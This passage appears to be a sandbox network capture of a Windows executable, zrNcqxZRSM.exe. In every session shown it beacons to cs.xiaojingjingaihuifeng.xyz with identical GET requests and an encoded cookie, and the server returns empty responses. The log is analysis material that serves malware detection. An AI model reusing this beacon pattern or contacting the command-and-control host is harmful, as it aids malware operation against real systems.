2025-01-10 14:14:48 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:48 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u5BBgKnWy8ZVPxIJODmQb5Mv%2FCn2xjfEVVmKKVAPRb%2Bz9WvS0XVRyfLn3uVKibnIhrJJIo03gxQukhSiQM0KjgjcNGJhWu%2BgcnadL7c7pqJqa1zXnzA83OEpecrGhuhFsKLWMSVuqXZEJdPp66gj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4688496e72bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1895&min_rtt=1888&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1500513&cwnd=252&unsent_bytes=0&cid=fce510990d5f4bbc&ts=405&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50078	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:49 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:49 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:49 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HPNnRksGY%2FGMOiU2p6xU1bVRpTG4zBKedrkCDZri%2FFbRM4M4hbEMcQz%2BrXYgVVQkXXL9b8jqJasIFhoEaehJO5d0WVz3rfXHa71YS43JvtuB0WnZQrfVWrGFg4wRpMYUiqGzmGowVqGzhL14TBSY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd468e6ee142ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2203&min_rtt=2198&rtt_var=834&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1303571&cwnd=215&unsent_bytes=0&cid=5ab3e93a6d6d36ae&ts=429&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50079	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:50 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:50 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:50 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S6gZLkIkcoJ%2F%2BIHPXImqvdiYQtHIhfwC1GEo1VZ8zEJjrQTn3O%2Fv5poYHSVbzJEx83y8ckCNoHujdkHnoEcWwcF7RWUbZUijMUKasLVNura%2FzOF6zrRz8Or%2FSXcJSKQH8bOSFoi9eaAAgVPV2XAu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4694caef42dd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2202&min_rtt=2200&rtt_var=830&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1314131&cwnd=186&unsent_bytes=0&cid=419101ea5be1cc7a&ts=426&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50080	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:51 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:51 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:51 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=laNgoQ%2BOCIs5nz1V3hvCeEzycxESwNWZbK9N3ZWAs3YwF5qXKK7WOjGCvR2%2BcO3fnNEfBS2mxSaGc0AzjpOFWeN4nxFPefLIKQIBBwJjt%2BAJBl5refBhp0KybNV6WxVoJxHKnP%2FbZghmtzO1qgBP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd469ad8a14240-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1723&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1667618&cwnd=243&unsent_bytes=0&cid=67519b00dd6b85e8&ts=409&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50081	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:52 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:52 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:52 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E5Ot1zJtwo9AX6TH1ckjJipfVM8tB0mGCmT948aK4kN6GTxt3vPn9%2BL7ABv5NkbKT1cVb14FbobNrsi1MSM12pd%2Fcu9FDCBCH7Q3kA%2BQvsBWQ1zPJlA0h6hrqJZa91Ipa88aJ5Gj8yGGxB%2B5DtEE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46a10ce74346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2096&min_rtt=2080&rtt_var=792&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1403846&cwnd=252&unsent_bytes=0&cid=aef7dd0d2b201874&ts=430&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50082	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:53 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:53 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:53 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ImCGzluZN0V0NF9EZa0UKJKw3DXhQTrGtyh5hnEdPVB2NpgYY0mJtXOJo%2B1rdt9Vvm%2FTtr%2FvVxZh80TX7UFvwrXelEka1eJ0eaScUslCvyppsI8bhD8NnGux%2Fa%2F3cYQKwqLqOeawAI%2FzgIgvyxml"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46a84ba20cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1508&min_rtt=1508&rtt_var=567&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1928665&cwnd=230&unsent_bytes=0&cid=bf16d0eb91a02e11&ts=414&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50083	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:54 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:54 UTC	752	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:54 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cQZUnybi54TRumivEVtVyD6UPMXGa85OCMKo3eqSj3jt5mfmOnnqAeTZy%2F4yYkEwZpjRen9wUk1QMpX7SLqnbzQzGP7wccqnoaK%2F7Bk0hLv1BFjq5%2FjFJkEnVAlGnKNCUq6gqnoxdG9FBcYiJtxN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46aeaae2433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2160&min_rtt=2131&rtt_var=820&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1370248&cwnd=32&unsent_bytes=0&cid=89d03b2589a27e60&ts=406&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50085	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:55 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:55 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:55 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hAMtab3NUWAw01rZf0DF6GAkyIMV8sb98h1bthPC%2BscFJAAVqz%2BiCkoL%2BwNB5VVCZq6zOGkNbBNZtUh5wwqLIz1Oh71lxbGQKx279r%2FZpHa%2BwAIe0GgVPlmsZp64MqbgPy0wO3JHQQDXTo9uvQBl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46b4dc7b41af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1729&rtt_var=832&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1688837&cwnd=224&unsent_bytes=0&cid=9e9f5e57bde9ee2a&ts=446&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50086	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:56 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:56 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:56 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fyEhWRXOULBqkj0Gdzu0ESLCQvXmEfL%2BNnKKsnHNXYkyihtU1JNsAR9LAT8izyY6SlsFHEiycqgPqTluDP0suzYzLcBoEI5%2Fp6SIARbyx4egqXqxchhSRpxOFWpXD%2FspJQanq0JX9%2FI4ovpAovYq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46bb48ed41f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2507&min_rtt=2502&rtt_var=948&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1147798&cwnd=196&unsent_bytes=0&cid=601fa34c53774ad6&ts=444&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50087	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:57 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:57 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:57 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQRzcMb5OKTiyKujtdgKlIY9mXhTJBzUgaLugcvbB4SXz4l6PJh01c2Zr7K7wlEwlNTNzBCqrJ%2B3ulMbt2Gm%2FivLzEM%2FJUlNCtaZgoBszUf%2Bxcrd9NOhBatE2wkeACRQZNbbi88RDw3Y7NRqsXd1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46c1ca1842a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1694&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1723730&cwnd=215&unsent_bytes=0&cid=f0bc9ad75e922c2a&ts=541&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50088	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:58 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:59 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:58 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2B00J29ih3dZ4yOSNkyAbS0i8bNCC%2BcH%2FordbMoIpI8bzTiBRLTmnVsdRvZdu%2F71QNW97BCiIiOYadX9DQ%2BsNljZlMyEscXVQCa2%2BjuMgFCTk%2B6UXx%2BdX8WGkpxcINbtytfKB4EPKoUKudDTmV16"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46c8b99143c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1560&rtt_var=638&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1645997&cwnd=232&unsent_bytes=0&cid=7ef931868554aaff&ts=428&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50089	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:59 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:00 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:59 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sCetnhWJPyCLRYCdSXyIzCdBoS0SjOpHF82UbzuXdU5YTy4aHpERiku3OA%2FSPa7NCx8EsqJrWu58oTTCTgto1h8VIDv09YWtiLXVua5rx9siXftBmyf5QmP%2BqpPD5qdK3GMGA2jUO6%2FmCKzfID6D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46ceef8a4352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1755&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1634023&cwnd=239&unsent_bytes=0&cid=3e03b6affd528d8d&ts=438&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50090	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:00 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:00 UTC	754	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:00 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lq9qXi7N%2Bp%2BSGm2uKGHF1EwNSOaDoRpSciYwpmSggeaKvLEDLT8m%2Fxvqe0P7nhntwv1X0rDEbKeuZKNMkjuQeG5mL0Lh2gxJXxrG6RsIQ32NMrejI6v2EBSjAaLEtJgMw5Rya%2FliGdKspwotXLQ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46d55863f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1730&rtt_var=865&sent=5&recv=7&lost=0&retrans=1&sent_bytes=3296&recv_bytes=1056&delivery_rate=296296&cwnd=137&unsent_bytes=0&cid=951b4bb64d90573b&ts=406&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50091	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:01 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:01 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:01 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QE5P092qAg3ZmtfHBXOfmu%2FIrJy832rb9kQzzKxQN%2Bak2QedH9JN6pOfK8hrKNpvMZP5Tea3nndhtrlvtF2Dg84gJ%2BRsVPOOZBR%2BD5QWzuHD3dr8l2G19rr8ojq6HJk6dOIN5AxVHiccryoODxck"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46db7ca35e73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1681&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1651583&cwnd=206&unsent_bytes=0&cid=42e3b29978784ec3&ts=411&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50092	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:02 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:03 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:03 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHpU8RN8LPJUE8NWbtzpVSt8y%2FCXHi%2BswsMjtXkexMJUApN8b%2BKPNnzXIsQVlf5ALi3zX71dMGIPp%2B711U3raccALuys7s8DWT54fqsYBruOXLQl0INTeTItDl1UveF%2FVBydOEnpy3Pg1o8fepr8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46e26bc60f75-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1643&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1629464&cwnd=221&unsent_bytes=0&cid=b159ef164af8285b&ts=426&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50093	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:03 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
